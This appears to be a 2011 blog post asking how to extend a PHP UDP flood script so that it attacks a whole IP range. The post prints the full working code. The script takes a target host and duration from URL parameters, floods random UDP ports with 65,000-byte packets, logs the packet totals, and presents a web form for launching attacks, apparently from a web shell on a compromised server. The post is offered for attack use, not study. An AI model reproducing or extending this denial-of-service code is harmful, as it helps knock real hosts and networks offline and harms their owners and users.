21 September, 2011

[HOST] MASS UDP with PHP

hello i want that my Shell make attack on 1 ip that start on 88.147.25.1 and end on 88.147.25.255
Mass Host
Code:
Example:
Host Start: 88.147.25.1
Host End: 88.147.25.255
Length (Second): 60
and attack to 88.147.25.2, 88.147.25.3, 88.147.25.4, 88.147.25.5 ... ETC

can make this?


Thanks


i used this code:

Code:
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno,

$errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
    }
$fp = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($fp, "UDP flood at " .date("d/m/y h:i") . " + 1 Hour DST,

Completed with " .

$packets . " (" . round(($packets*65)/1024, 2) . " MB) packets

averaging " .

round($packets/$exec_time, 2) . " packets per second. On IP:

".$_GET['host']." , For "

.$_GET['time']. " Seconds \n");
fclose($fp);
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" .

round(($packets*65)/1024, 2) . " MB) packets averaging ".

round($packets/$exec_time, 2) .

" packets per second \n";
    echo '<br><br>
  <form action="'.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act"

value="phptools">
    Host: <br><input type=text name=host

value=><br>
    Length (seconds): <br><input type=text

name=time value=><br><br>
    <input type=submit value=Go></form>';
}

The ip is FALSE i used only for example :)

Labels:

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home